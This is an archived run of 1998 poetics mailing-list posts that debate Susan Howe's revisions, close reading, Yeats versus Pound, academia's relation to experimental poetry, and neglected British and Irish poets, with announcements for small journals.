>This is a radical revision, isn't it? I had a more difficult time with the version in _Singularities_ (which doesn't mean that this version of Articulation of Sound Forms In Time is necessarily better or worse).I suppose I have to undercut my presumptions about what's happening, really 're-read' it, but the 1987 version seems more lyrical to me and somehow more "accessible".

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>Since there is much recent discussion of Howe on the list, maybe some out there have comments or opinions about the original vs. revision of this poem. I suppose I should buy _Singularities_ . I've been reading it in the bookstore.
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>Just curious. The Awede edition of AOSFIT mentioned above is the most intense experience of Howe (for me) so far. Although, a poem which appeared recently in _Conjunctions_ is an incredible poem , too.
>
>Chris
>
>
>_____
>Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>
>
David Clippinger
Assistant Professor of English
Penn State University
100 University Drive
Monaca, PA 15061-2799
[redacted] (phone)
[redacted] (fax)

+ + + + + + + + + + + + + + +

In a world where nothing is known or can be known
beyond the known-to-be unspeakable,
only metaphor speaks literally
and literal speech, itself, is metaphor.

William Bronk, "Speech Making"

+ + + + + + + + + + + + + + +

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47. Steven Marks
Shoptalk
Sun 2 Aug 1998

This is in response to Jacques Debrot's comments on criticism as well as the intelligent review of Trevor Joyce's _Syzygy_ in The Irish Times. I'm interested in what people think about close readings of poetry. How can it be done, as Debrot says, "without entirely normalizing their strangeness." What is a close

reading that does not do violence by killing off all possible readings except one? is not fleeting or superficial because it simply resorts to the cliched response that there are a number of interpretations and that interpretation is dependent upon the reader completing the writing? wears theory like a skin, but does not use it as a tool -- surgical, truth beam or otherwise? I suppose we all do close readings of poems that call to us. The trick is how do we *write* about these close readings. One way is to write another poem, paint a picture, compose a song, but that is not the critical response usually meant by close reading. So I ask everybody, what do they mean by close reading? or what can it mean? How can they be accomplished?

Myself, I use what skills I have picked up from school (a B.A. in 1976) and my own reading (and that would be a mixture of some New Critical with the post-structural) and do as Barthes suggested: find a loose thread, pull on it and follow where it leads. Knowing, of course, that violence and superficiality will have their way with me, but trusting that the reader of my close reading will feel the scars and see through the translucent structural skins I have made.

cricketlingly,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

48. Lisa Samuels
beautiful =germ=
Sun 2 Aug 1998

---

issue #2 of =the germ= just came in the mail, and like #1 it is a completely gorgeous book. many fine things in it (yes i'm in it too, but that's not the point of my praise). stunning cover art and collage works inside by joyce lightbody, poems by bernadette mayer, rod smith, ray dipalma, lisa isaacson, many others. highly recommended, not least to those who long for lovely bookness. it's great to see so many journals out -- let a thousand flowers bloom! lisa

↑ Index

49. Douglas Barbour
Re: Huranku Ohara
Sun 2 Aug 1998

Oh I did enjoy that one

the deliberateness of it, of course...

More seriously, thanks also to Karen Kelley for her contribution too; nice the way it did NOT give the expected while dancing...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

If

a city is an invention
why are we not there

Kathleen Fraser

↑ Index

50. Randy Prunty
Re: beautiful =germ=
Sun 2 Aug 1998

I too just received my copy of germ. It is mighty mighty fine. The beautifully funky cover. The Joyce Lightbody work makes me want to fly to CA and see the actual artifacts. They look fantastic. I've been reading all the poetry the last two days and have been delighting in piece after piece (including yours, Lisa Samuelson)

Randy Prunty

↑ Index

51. Randy Prunty
Re: beautiful =germ=
Sun 2 Aug 1998

---

oops, seems my reading should have been a little closer. the name is Samuels. Sorry Lisa

Randy

↑ Index

52. Irving Weiss
Re: fwd: new journal; please forward
Sun 2 Aug 1998

--- You wrote:
'Monsoon,' an on-line journal of South Asian
Culture and Literature, located at:

http://www.monsoonmag.com

but there's no link after home page. No info.

Are you interested in my English translation of Malcolm de Chazal's prose and poetry, French language, Mauritius?

Irving Weiss
http://members.tripod.com/~sialbach/

↑ Index

53. Christian Roess
Re: Susan Howe
Sun 2 Aug 1998

On 02Aug David Clippinger writes:

> *I asked Susan Howe about the differences between the original "small press" issues and the versions published in _Singularities_, to which she informed me that because of spatial constraints dictated by Wesleyan UP, she had to edit down/edit out material.*
>
> *I would agree that the changes certainly create further difficulties by lessoning the number of threads for the reader to follow and consider.*
>
> *All best,*
>
> *David*

David,

I find myself taken aback by this bit of information. However, your comments, when juxtaposed next to those by Mark Scroggins and Hugh Steinberg, line up for some very interesting considerations, which I don't know how to voice at this particular time. I'll be re-visiting her poems again soon with this shocking bit of news in hand.

I guess for a poet who, as Peter Quartermain has written, "treads borders, boundaries, dividing lines, edges, invisible meeting points" or as Michael Palmer has written , "addresses questions of disappearance and recovery, identity and absence. . .by means of a radical reevaluation of ...the nature of the text in relation to time" she has allowed her own work to disperse into these same

'meeting places', and I'm not sure what encounter is possible there. . and ... well, I could make some other arguments at this point but they would be only "subtle" rather than convincing.

Thanks for this information, all. I hope to hear more.

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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54. **henry**
Re: Yeatpound
Sun 2 Aug 1998

On Fri, 31 Jul 1998 14:36:28 -0500 MAYHEW said:
>I read Yeats now as a sort of bizarre oddball, rather than as a
>high-modernist, an official role that sort of trapped him. In "a prayer
>for old age" he wanted to eschew respectability in favor of madness. Is
>Yeatsianism played out? Yes, to the extent he is identified with a
>particular sort of aesthetic conservatism that has passed its prime. No,
>if we read him somewhat differently. I love parts of Yeats and would not
>oppose him to Pound completely. There are more than two sides--modernism
>is more like a twelve or thirteen sided figure. To paraprhase Perloff,
>Pound/Stevens/Stein/Yeats/Williams/Maiakovsky/Vallejo... whose period?

Does anybody want to argue the substance of what I said? The substance was that Yeats represents - yes, Jonathan, there are other poets out there too - but Yeats represents a different approach to poetry in terms of synthesis/disjunction. Yeats is a premodernist AND a modernist: he writes poems in complete sentences, he uses "old" techniques of stanzaic development, etc. Now everybody can hop in & say "oh well hey Pound was a synthesist too blah blah"... but lest we forget, Pound wrote toward the end of the cantos, " I cannot make it cohere" and also "it coheres all right, even if my notes do not" [or something close to that anyway] and left "IT ALL COHERES" for his TRANSLATION of I believe a Euripides play... - whereas I think Yeats' attitude, reflected in his poetry, was that the lyric poem itself is a synthesis, a coherence, of rhythm, syntax, image, meaning. & my point is that this is not a harebrained oddball out-of-date concept of poetry, but is the mainstream concept of poetry. If that automatically rules it out of consideration by the poets & critics of today, I feel sorry for them. - Henry Gould

↑ Index

55. **henry**
Re: Oh Henry!
Sun 2 Aug 1998

On Fri, 31 Jul 1998 23:40:22 -0500 KENT JOHNSON said:
>
>Sure, Henry, no question. But why such a gripe? There are many _more_
>magazines filled to overflowing with gibberish written in complete
>sentences and organized around "images." All "poetries" have their
>learning poets or lifelong weak ones. A few become really good and
>change everything. Yeats is one; Zukofsky is another. One can delight
>in both.

Why should I join the other cheerleaders on this list? Why not question some of their assumptions? The fact is I think American poetry is at a sort of dead end. I know this sounds crabby & unpleasant to all the delightful poets & readers on the list. In the NY Times Bk review today there was another "mainstream" overview of the poetry situation. the author talked about the East European poets, Milosz in particular, & how they provided a counter- example of a less egocentric "confessional" poetry prevalent for so long in the US. Pinsky's book "Situation of Poetry" was cited again for its call for clear speech & narrative poetry. The whole counter-tradition, which this list supports & represents, was again invisible. Why? Oh, because of the evil capitalist market system & the establishment networks blah blah... nobody wants to consider the notion that this counter-tradition might itself be bankrupt, in part for the very reason I mentioned: the tearing apart of syntax for the sake of innovation; the use of isolated vocabulary as a kind of aesthetic private property (eg. "language poetry" - take it out of the dictionary & it's yours) as opposed to the concept of language as a whole function of "public" communication. I know the intent was to critique another style of appropriation; but appropriation is appropriation & academic enclaves are academic enclaves. - Henry Gould

↑ Index

56. **George Bowering**
Re: call for papers, etc.
Mon 3 Aug 1998

Oh no. The other note on it I have trashed. You can find out for sure by wiring Roy Miki, the honcho in charge. He's addressed at

[redacted]

> *hey bowering this cfp lists the conference dates as sept 25-25. is that right? thanks for the info.*

> *At 9:27 PM -0700 8/1/98, George Bowering wrote:*
> *hey, can you tell us more about this bpNichol conference in september?*
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>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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57. k.a. hehir

Re: anglo-american literary relations

Mon 3 Aug 1998

HI there, about this request, i have an irish book review that comes into my e-mail box about once a month. currently i send it to about 7 on this list. if any one else want to try it out please backchannel and i'll add you to my list.

THIS IS NOT A SALE just a service i get as a part of a news weekly from galway.

uncommercially yours,
kevin

p.s. july is still in my outbox for sample.

On Fri, 31 Jul 1998, Robert Archambeau wrote:

> *Any suggestions for more*
> *contact, more mutual spreading of knowledge?*

> *My only suggestion is the obvious: get your hands on the British and Irish books. Unfortunately, this is often easier said than done from this side of the Atlantic.*

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58. David Baratier

Re: Oh Henry!

Mon 3 Aug 1998

~The fact is I think American poetry is at a sort of dead end.

I agree with you on this Henry & set the tone aside. It seems there is a lack of poets investing their time in terms of knowledge and willingness to share their understandings with others. Perhaps the absence of investment is why I hear of so many writers who, after they go to university to seek out a mentor, leave writing programs severely disappointed. My favorite poets invest partly to protect the people against fraudulent activity and consequent impoverishment, partly to innocuate the people against cults and all forms of conditioning, and partly to bring the advantages of the poetic enterprise to the people who can most benefit from them.

Similarly, people who contribute to poets and publishing ventures help to prevent things from getting worse on a sociological basis: they make it impossible for things to ever be as biased again.

Be well

David Baratier

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59. Christian Roess

Re: Oh Henry!

Mon 3 Aug 1998

On Sun, 2 Aug 98, Henry Gould writes:

> *Why should I join the other cheerleaders on this list? Why not question some of their assumptions? The fact is I think American poetry is at a sort of dead end. I know this sounds crabby & unpleasant to all the delightful poets & readers on the list. In the NY Times Bk review today there was another "mainstream" overview of the poetry situation. the author talked about the East European poets, Milosz in particular, & how they provided a counter-example of a less egocentric "confessional" poetry prevalent for so long in the US. Pinsky's book "Situation of Poetry" was cited again for its call for clear speech & narrative poetry. The whole counter-tradition, which this list supports & represents, was again invisible. Why? Oh, because of the evil capitalist market system & the establishment networks blah blah... nobody*

> *wants to consider the notion that this counter-tradition might itself be bankrupt, in part for the very reason I mentioned: the tearing apart of syntax for the sake of innovation; the use of isolated vocabulary as a kind of aesthetic private property (eg. "language poetry" - take it out of the dictionary & it's yours) as opposed to the concept of language as a whole function of "public" communication. I know the intent was to critique another style of appropriation; but appropriation is appropriation & academic enclaves are academic enclaves.*
>
> *- Henry Gould*

I'm not sure that this list is cheerleading over here on the counter-tradition sidelines, while the mainstreamers with their cheerleaders and supporters, are suiting up on the other side. It seems like it is . And maybe most of us 'take sides' from time to time for argument's sake (ie.,Didn't Yeats say he believed poetry is elitist, and he would make no apologies for that?) but what kind of lens are we viewing this whole 'contest' through? I am bothered by these labels and the way certain cultural assumptions are passed on 'osmotically', and the buck stops here, as much as you seem to be, but is this really what is happening?

David Lehmann in the newest edition of BEST AMERICAN POETRY 1999 (Guest Editor: John Hollander) does mention Charles Bernstein and the (quote) "lively" Electronic Poetry Center. So, now what happens? Is this forgotten because no one reads the forward? Or is there someone out there now who wants to learn about poetry, and doesn't let this remark stray to far from his/her concerns?

Is anyone going to read this snippet in the 'Foreward' or are they going to turn to the selection by Hollander with comments by the poets themselves in the contributor's notes? Probably the latter.

Lehman also mentions Peter Gizzi in his forward, but the rest of the volume seems to contain no one on " our side".

Surely some new readers will question the use of the appellation "Best" in regard to the poetry "selected" for it? Isn't this another example of 'cultural selection' to borrow Gary Taylor's use of the word? You know the argument: the so-called combatants of the Culture Wars seem to miss the point "that culture is not what was done but what is remembered." I guess that's what your point is Henry Gould(?). Is this why you say "let's question some of their assumptions."(meaning our 'side' as well ?)Amen to that. Taylor mentions somewhere in his book about how, in the 1950's, a taxi drove off with the only copy of completed typescript of the letters of John Donne, and so we are (still?)

missing a complete edition of Donne's letters. Isn't that the fear you are expressing? That something is being deliberately lost and is irretrievable?

Your mentioning of the Pinsky & NY T BK Rv piece suggests that our cultural memory is being deliberately repressed, or for some reason these particular arbiters of our culture believe they have in their possession the missing piece or have now located the only extant 'complete edition' (of something). Or more precisely, they don't worry about the 'missing letters', because they feel that they can already fill in the blanks themselves. Kind of giving us a wink and a nod as if to assure us that our poetry is in good hands.

However, I hope something else is occurring, as it were 'underground'. Something which I just read 15 minutes ago in Taylor's Cultural Selection :

"…this strategy of isolation never works. It is defeated by a linguistic paradox : when a memory is deliberately repressed, one part of the mind tells another: REMEMBER TO FORGET THIS! You can forget only if you keep remembering the order to forget, and if you keep the part of the mind giving the order from the part of the mind receiving the order. Every reiterated act of deliberate disconnection depends upon, indeed creates, another connection. Moreover, the repression will work only if the offending memory is systematically disconnected from the system to which it belongs."

Another illustration of this is a clipping I saved from USA TODAY (April 21,1998), page #8D. At the top of the page in bold black letters is the headline : WHITE HOUSE'S EPIC EVENING WITH POETS LAUREATE with three pictures and stories profiling Robert Haas, Robert Pinsky, and Rita Dove. Below these 3 stories and just above a section of classified ads is an obituary notice for Octavio Paz's passing on April 19 ('titled' "Mexican stateman Octavio Paz was the world's poet). It mentions that Paz was often asked if it mattered that so few read poetry these days. He replied, "Those who do are young people, women and dissidents of all kinds : philosophical, sexual, political. It has become an art on the margins of society. It is the other voice. It lives in the catacombs, but it won't disappear."

So now where is it not to forget?

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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60. **Maria Damon**

Re: fwd: new journal; please forward

Mon 3 Aug 1998

---

update on monsoon magazine:

From: "Shikha Malaviya" <[redacted]>
To: <[redacted]>
Subject: Monsoon magazine- a few things!
Date: Fri, 31 Jul 1998 11:55:58 -0500
Importance: Normal

Just a few things...

1) Many of you visited Monsoon's site yesterday. Unfortunately, those without Java-enabled browsers installed in their computers could not access any of the links in Monsoon. The font may also have been altered for those viewing the site with a Macintosh computer or Unix-based ones. We are in the process of fixing these problems and apologize for the inconvenience this may have caused you. In the meantime, you can access the pages directly from the links provided below.

http://www.monsoonmag.com/MonsoonMission.htm

http://www.monsoonmag.com/guidelin.htm

http://www.monsoonmag.com/sample.htm

http://www.monsoonmag.com/contact.htm

http://www.monsoonmag.com/links.htm

2) Please keep in mind this is Monsoon's information site. The first issue of Monsoon will debut sometime in October 1998. However, we will be adding new things almost every week, such as a South Asian writers database, a writers photo gallery, a book review section along with a 'what people are reading right now' list, and yes... a chat area/discussion group! We hope you will check back from time to time and tell us how we are doing!

3)Finally, send us your creative endeavors.... and spread the word!!!

Shikha Malaviya
Publisher/Editor
([redacted])

At 8:36 PM -0400 8/2/98, Irving Weiss wrote:
>--- You wrote:
>'Monsoon,' an on-line journal of South Asian
>Culture and Literature, located at:
>

>http://www.monsoonmag.com
>
>--- end of quote ---
>
>but there's no link after home page. No info.
>
>Are you interested in my English translation of Malcolm de Chazal's prose
>and poetry, French language, Mauritius?
>
>Irving Weiss
>http://members.tripod.com/~sialbach/

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61. **David Clippinger**
Re: Susan Howe
Mon 3 Aug 1998

I should have also mentioned that Howe discusses this issue in an interview published in _Contemporary Literature_ a few years back.

Best,
David

At 08:49 PM 8/2/98 -0400, you wrote:
> On 02Aug David Clippinger writes:
>
>>I asked Susan Howe about the differences between the original "small press"
>>issues and the versions published in _Singularities_, to which she informed
>>me that because of spatial constraints dictated by Wesleyan UP, she had to
>>edit down/edit out material.
>
>>I would agree that the changes certainly create further difficulties by
>>lessoning the number of threads for the reader to follow and consider.
>
>>All best,
>
>>David
>
>
>David,
>
>I find myself taken aback by this bit of information. However, your

comments, when juxtaposed next to those by Mark Scroggins and Hugh Steinberg, line up for some very interesting considerations, which I don't know how to voice at this particular time. I'll be re-visiting her poems again soon with this shocking bit of news in hand.
>
>I guess for a poet who, as Peter Quartermain has written, "treads borders, boundaries, dividing lines, edges, invisible meeting points" or as Michael Palmer has written , "addresses questions of disappearance and recovery, identity and absence. . .by means of a radical reevaluation of ...the nature of the text in relation to time" she has allowed her own work to disperse into these same 'meeting places', and I'm not sure what encounter is possible there. . and ... well, I could make some other arguments at this point but they would be only "subtle" rather than convincing.
>
>Thanks for this information, all. I hope to hear more.
>
>Chris
>
>
>
>
>_____
>Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>
>
David Clippinger
Assistant Professor of English
Penn State University
100 University Drive
Monaca, PA 15061-2799
[redacted] (phone)
[redacted] (fax)

+ + + + + + + + + + + + + +

In a world where nothing is known or can be known
beyond the known-to-be unspeakable,
only metaphor speaks literally
and literal speech, itself, is metaphor.

William Bronk, "Speech Making"

+ + + + + + + + + + + + + +

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62. henry
Re: Oh Henry!
Mon 3 Aug 1998

Lee Christian sends a thoughtful response to my grouchy generalizations. The broad-brush bashing is stupid & unfair on my part. The only reason I'm on this list is that it seems alive, it seems like that catacomb thing you quote Octavio Paz about that the NY Times Bk Rv crowd does miss. The dynamics are interesting. Pinsky, Heaney, et al. look to the eastern europeans (two of whom sadly died in the last week - M. Holub and the famous Polish poet whose name I can't come up with at the moment...) as a way out of the narcissism & pettiness of US poetry; from their position on the heights that's all there is. Meanwhile in the catacombs of the "counter-tradition" a set of stylistic paradigms are in place that set the poet firmly at one or two removes from "prosaic communication". The Yeats/Pound thing is not an attempt to narrow the range; just a means of once again raising the possibility that "innovative" poetry & experiment might be organized on a whole different set of paradigms. I'm not saying that's not already happening; what do I know? - Henry G.

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63. Mark Prejsnar
Re: My Definition of Academic
Mon 3 Aug 1998

On Fri, 31 Jul 1998, Matt Kirschenbaum wrote:

> *The current insider/outsider discussion re the academy recalls the "poets vs. critics" thread (and yes, if memory serves, that was one of the actual subject lines) played out on Poetics a year or two ago. Perhaps the cyclical resurrection of the topic is invetiable given the proximity (or, if you excuse the academically fashionable pluralization, the multiple proximities) this list and many of its constituents bear towards academic institutions. But still, the appearance of this topic always depresses me for its unavoidable ressonance with broader strains of public anti-intellectualism: the conservative attack on the professoriate, media attacks on the "ivory tower" (what is the origin of that epithet, anyway?).*

This is very interesting Matt.....Especially since many folks perceive the *academics* as the ones who tend to take a hard-nosed anti-intellectual stance. Now i strongly agree that a pretty shallow anti-intellectualism is a prominent feature of U.S. life and cul'chah..

But, contrary to your equation of folks outside the ivory pinnicle, with Anti-I:

Who strike you as more anti-I, more opposed to new perspectives and challenging poetics, Jackson Mac Low or Helen Vendler?

In large part, in the "wars" (as someone has just called 'em) that have raged since 1975 around experimental poetries, it is mostly the academics who've championed neo-babbitism, the non-academics who've been focused on the real issues...

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64. R I Caddel

angling others / different tracks through the woods / longish rant

Mon 3 Aug 1998

Simon wrote:

> *Since when did we get the idea that professors in the academy should be responsible for keeping up with the Protean world of contemporary poetry?*

Interesting point, Simon: since when did we say that surgeons should be - er - boned up on the latest re the operations they perform? Vendler comes to UK and pronounces on a dearth of decent UK poets since WWII, but let's not press her to show any knowledge of the field, since she's a Great Person anyway. Edna Longley pronounces the alternatives in Irish poetry "confused", and again, she's an Expert on (selected) Irish Poetry, she ought to know, let's not question. Also, it's true that many Learned Profs and Literary Pundits in the UK would concur with both these views so, hey, let's go with the flow on this one, no point in paying for expertise and not accepting it, even if the expertise is inadequate for the subject matter upon which it pronounces.

I'm assuming a level of irony in your original post, and lumbering along in a similar vein. But seriously, folks - assumptions of the unimpeachability of academic niche have contributed significantly to the sustained critical invisibility of a wide range of poetries in my part of the world (and for all I know many others) and to deny linkage between the voices of academic criticism and the supression mechanics of mainstream literary publishing is simply naive. If only Vendler and Longley (to whose bait I'm rising as Keith knew I would...) and the other canon-builders would recognise Simon's succinctly-put truth that there are "thousands of different tracks through the woods" they'd be less likely to come out with ill-informed opinions which Keith Tuma relays to us, and perhaps even, more - dare we say it - open to the possibilities which are before them.

The careers of the major non-mainstream poets of UK and Ireland are marked by public ignorance and neglect. The story of Bunting's years of obscurity in his own country now needs no further telling, other than to remind folk of our long trackrecord of such neglect. Along with him come Jonathan Griffin (his poems

published in the States at his death, at a time when he was practically unknown here) Brian Coffey and other "Elder Statesmen" honoured more by omission than attention. Collected Poems of poets such as Gael Turnbull and Roy Fisher have been dropped by their publishers. Paladin, an imprint which briefly pushed innovative brits into mass circulation, was taken over by Murdoch's News International, resulting in the dumping of Harwood, Raworth, and substantial selections of Allen Fisher, Bill Griffiths, Thomas A. Clark and Others. And behind them (in the sense of not having even that moment of accessibility) generations of writers as varied as Colin Simms, Ulli Freer, Geraldine Monk - all writers with honourable careers in "fugitive editions", who've existed by word-of-mouth (significant phrase for what is often a strongly oral tradition), by personal contact, and by smallscale activity. Mainstream publication and notice in the UK were and are simply closed to them, and to follow their work - from the UK or the US - takes a degree of conscious effort. (The teachers who would be interested in teaching them hadn't got texts which were readily available, and there weren't texts available because teachers weren't teaching it...)

I'm tired of having these decades of inventive and responsible work ignored or swept under the carpet with one-liners from those who can't be bothered. That's not responsible academic or critical practice, and it's simply not good enough to allow it as a kind of license on the strength of somebody's work in another part of the field. Certainly the UK and Irish writers who Tuma mentions - and many more besides (the 55 featured in the forthcoming Wesleyan anthology ed. Quartermain and Caddel are not the end of the story, though they're certainly a start) - well, they deserve better.

To paint the picture thus bleakly is, of course, to overlook the crucial critical exceptions - such as Jim Mays for his support of "younger" Irish poets (they're not so young anymore, but they're still "confused" according to Ms. Longley), Edwin Morgan in Glasgow, and the late Eric Mottram practically everywhere; and the stream of US academics from John Matthias to Tuma, Romana Huk and others - thanks to y'all, lights in the dark. For many of the British and Irish poets I'm talking about, the possibility of open readers in the US has been a lifesaver over the years, a feeling that we weren't alone and weren't as eccentric as our posh neighbours proclaimed us. Thanks to anyone who'll help bring the range of "britpo" into the daylight and make it less possible for the Vendlers and Longleys and the critical squirearchy of the UK to make their sweeping and inaccurate statements from on high. Phew. Hrumph. Thankyou.

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: [redacted]

Phone: [redacted] Fax: [redacted]
WWW: http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil Bunting

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65. Robert Archambeau
Re: Oh Henry
Mon 3 Aug 1998

What interests me most about this discussion, which I'm joining awfully late, are Henry's primary charge (that the counter-tradition may be bankrupt) and his secondary charge (that the counter-tradition is left out of the most prominent debates about poetry because of a willful obscurity). These are important issues, presented as real challenges, and if this makes Henry a bull then we need more bulls, no matter whether we agree or disagree.

With regard to the secondary charge:

Peter Barry had a lot to say about this in the English context at the London conference being discussed in the Anglo-American thread. He made the US out to be a greener pasture, but I think his comments apply here, too (others have discussed this better than I could on the thread I've mentioned).

With regard to the primary charge:

It seems to me that traditions of poetry _can_ decline into mannerism, and that one way this can occur is through value being judged predominantly on the employment of one particular poetic element. For example, when we fetishize a particular subject matter (personal trauma, say, or ethnicity) and judge poetry primarily on the basis of that subject matter, we risk mannerism -- think of the fate of confessional poetry.

We also run this risk when we fetishize a particular formal quality, and judge poetry primarily on the basis of the use of one particular trope or formal element. The decline of formalism from Frost to _Rebel Angels_ seems to me to come from the fetishizing of full rhyme without enjambment, for example. But the decline of formalism into mannerism isn't a matter of controversy on this list -- as the charge that the syntactic disjunction of language poetry has become mere mannerism is.

What about that charge? Are we left with "inchoate jumbles of broken syntax" littering the journals, as Henry claims? The question is worth following up, so kudos to Henry for raising it. (And kudos to Kent for giving some perspective

by reminding us that there are more bad poems that work through coherent synatax and image than there are bad poems that work through disjunction).

I thin it is demonstrable that that there is still important poetry being written in the syntactically disjunctive mode (just now I've been reading some by Catherine Walsh, but there are American examples too). But my sense is also that there is a hell of a lot of mannerist late langpo that disjoins for the sake of disjoining and that doesn't give us anything new or powerful. And I think that the most exciting energies in poetry in the US and elsewhere are to be found neither in the (for lack of a better shorthand term) mainstream nor in the language poetry tradition (see Archambeau duck behind the nearest tree, the peep out sheepishly to see if the lead is flying).

Who or what am I talking about? I hope some of this will be apparent when the first issue of _Samizdat_, a journal I'm editing, comes out at the end of the month. If you're interested, I can wrangle a few free copies -- backchannel with your street address. Of course, you're also free to subscribe ($10/year -- three tabloid-format issues).

Bob Archambeau,
still hiding behind the tree, hoping the schrapnel doesn't hit

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66. Mark Prejsnar
Re: My Definition of Academic
Mon 3 Aug 1998

On Sat, 1 Aug 1998, ShaunAnne Tangney Humanities wrote:

> *i make less than anyone else i know in academia: point here: just being in doesn't mean you get paid well. plus w/ all those student loans having come due, i live hand to mouth--at a similar if not lower level as i did as a grad student.*
>
> *I'm tired of the stress always looking for the next little job.*
>
> *at my university everyone (even tenured faculty) is issued a one-year contract. we are, in effect, glorified adjuncts. point here: being in doesn't necessarily mean you don't always work with the nagging worry at the back of yr mind that next year you may be looking for a job again.*

Yup....As i hope everyone knows by now, the situation of academics has been stomped on so hard, and without sufficient resistence, that they are truly reaching a level of proletarianization....It ain't a figure of speech. (I hasten to add

that the lack of sufficient resistence reflects the state of class struggle overall, and isn't the fault especially of folks in academe alone. You might blame developments in the steel and auto industries, in fact, for selling down the river the chance at a strong working class decades ago..Without a true labor movement in society as a whole any one sector is vulnerable)

A related point: there are disturbing hints in a number of recent posts that people are moving the discussion of "academics" into an *essentialist* model: as if the issue were that there's something *wrong* with being an academic. The only useful issue here is an *empirical-sociological* one. Is the site of innovative poetries still outside academe, as it once was (during the NAP '50s and the Lang 70s, as so well pointed out by Linda) or is it mostly inside (as avowed by Bob G's notorious coinage "acadominent") or what?

I think the answer is, "or what." That is, the situation is fairly tangled.

Mark P.

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67. Robert Archambeau
NYRB
Mon 3 Aug 1998

Michael Franco wrote:

> *re Pinsky... he writes what he writes -his view- which I do not necessarily share*
> *. . . but having worked with him a bit editing poetry submissions... there are few people that I know that are as clean in their approach to each poem as he is> He always took the submission on its terms -not his- & in ways that far exceeded those of the other panel members -myself included- who all had an agenda of what poetry they thought most vital for the mag.*

There is that. Whatever else is to be said about Pinsky, I'm sure he's the only US laureate ever to have written a sympathetic essay on George Oppen.

(reprinted in Poetry and the World, if you're interested).

Bob

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68. Matt Kirschenbaum
Re: My Definition of Academic
Mon 3 Aug 1998

Mark Prejsnar:

> *On Fri, 31 Jul 1998, Matt Kirschenbaum wrote:*
>
> *The current insider/outsider discussion re the academy recalls the "poets vs. critics" thread (and yes, if memory serves, that was one of the actual subject lines) played out on Poetics a year or two ago. Perhaps the cyclical resurrection of the topic is invetiable given the proximity (or, if you excuse the academically fashionable pluralization, the multiple proximities) this list and many of its constituents bear towards academic institutions. But still, the appearance of this topic always depresses me for its unavoidable ressonance with broader strains of public anti-intellectualism: the conservative attack on the professoriate, media attacks on the "ivory tower" (what is the origin of that epithet, anyway?).*
>
> *This is very interesting Matt.....Especially since many folks perceive the *academics* as the ones who tend to take a hard-nosed anti-intellectual stance. Now i strongly agree that a pretty shallow anti-intellectualism is a prominent feature of U.S. life and cul'chah..*
>
> *But, contrary to your equation of folks outside the ivory pinnicle, with Anti-I:*

Mark, all of this strikes me as a pretty heavy-handed reading of my original post, which makes no such equation, certainly not by way of the "folk" (a word you use twice and which I didn't use at all).

> *Who strike you as more anti-I, more opposed to new perspectives and challenging poetics, Jackson Mac Low or Helen Vendler?*
>
> *In large part, in the "wars" (as someone has just called 'em) that have raged since 1975 around experimental poetries, it is mostly the academics who've championed neo-babbitism, the non-academics who've been focused on the real issues...*

I suppose, but that was hardly the context for what I wrote about public perceptions of the academy today, and the material consequences of those perceptions at the level of funding for public universities. Matt

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69. **Don Byrd**

Re: My Definition of Academic

Mon 3 Aug 1998

At 03:26 AM 8/2/1998 -0700, Charles Alexander wrote:

> *Wisc. poet Ron Wallace. When arguing with this poet about these very experimental/academic issues, his take on it at the time was that these wars had been fought quite a few years before, and the "experimentalists"*

> *had lost, so why are we talking about these things any more?*
>
> *Yes, talk about a failure to communicate . . .*
>
> *but seriously -- any particular reason why 1975 sticks out to you as the beginning of these raging wars?*

And, when I left graduate school in 1971 with my dissertation on Charles Olson in hand, I believed that these issue had been fought out during the previous decade, since the publication of the Allen anthology, and that the experimentalists had decisively _won_.

And we had won, intellectually. At least one of the problems with this victory was that the "institutions" remained firmly in the hands of the traditionalists. The Creative Writing Programs were almost exclusively in the hands of Iowa Writer's Workshop types (who had 25 years of tenure left), as were the well-funded, university-sponsored magazines, the university press poetry editorships, the prize-conferring committees, and the granting institutions. For a few years, when David Wilke was the head of the NEA lit division, it looked like that at least part of that might change, but, alas! Reagan,etc. (Even corporate sponsorship is likely less treacherous than government sponsorship...).

Don

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70. **Mark Weiss**

Re: My Definition of Academic

Mon 3 Aug 1998

Of course the war in question goes back to the end of WW 2, with a major public battle fought over Howl when it first went public and again when it was published.

At 03:26 AM 8/2/98 -0700, you wrote:
>>In large part, in the "wars" (as someone has just called 'em) that have
>>raged since 1975 around experimental poetries, it is mostly the academics
>>who've championed neo-babbitism, the non-academics who've been focused on
>>the real issues...
>
>just a note -- I'm interested in your dating these wars as "since 1975,"
>particularly as I remember a poet grad student at U-Wisconsin, but from
>Texas, in the early '80's, who at the time it seemed was being groomed by
>Wisc. poet Ron Wallace. When arguing with this poet about these very

>experimental/academic issues, his take on it at the time was that these
>wars had been fought quite a few years before, and the "experimentalists"
>had lost, so why are we talking about these things any more?
>
>Yes, talk about a failure to communicate . . .
>
>but seriously -- any particular reason why 1975 sticks out to you as the
>beginning of these raging wars?
>
>charles
>
>
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>
>

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71. Robert Archambeau

Re: My Definition of Academic

Mon 3 Aug 1998

> *Bob Perelman, Bud Lite Professor of English, University of Pennsylvania*
>
> *Barrett Watten, General Motors Professor of American Studies, Wayne State U*
>
> *Charles "Gordita" Bernstein, Taco Bell Chair of Poetry and Poetics, SUNY-Buffalo*
>
> *"Poetry, by Ralph Lauren" reading series at the Hear Inn.*
>
> *The 1998 Nike "Girls in the Game" tour (featuring Howe, Retallack, Scalapino and others reading simultaneously on three stages!)*

David --

Let's not forget Marjorie Perloff reading her London paper in that stock-car-racing jumpsuit covered in STP and Mobil Oil patches.

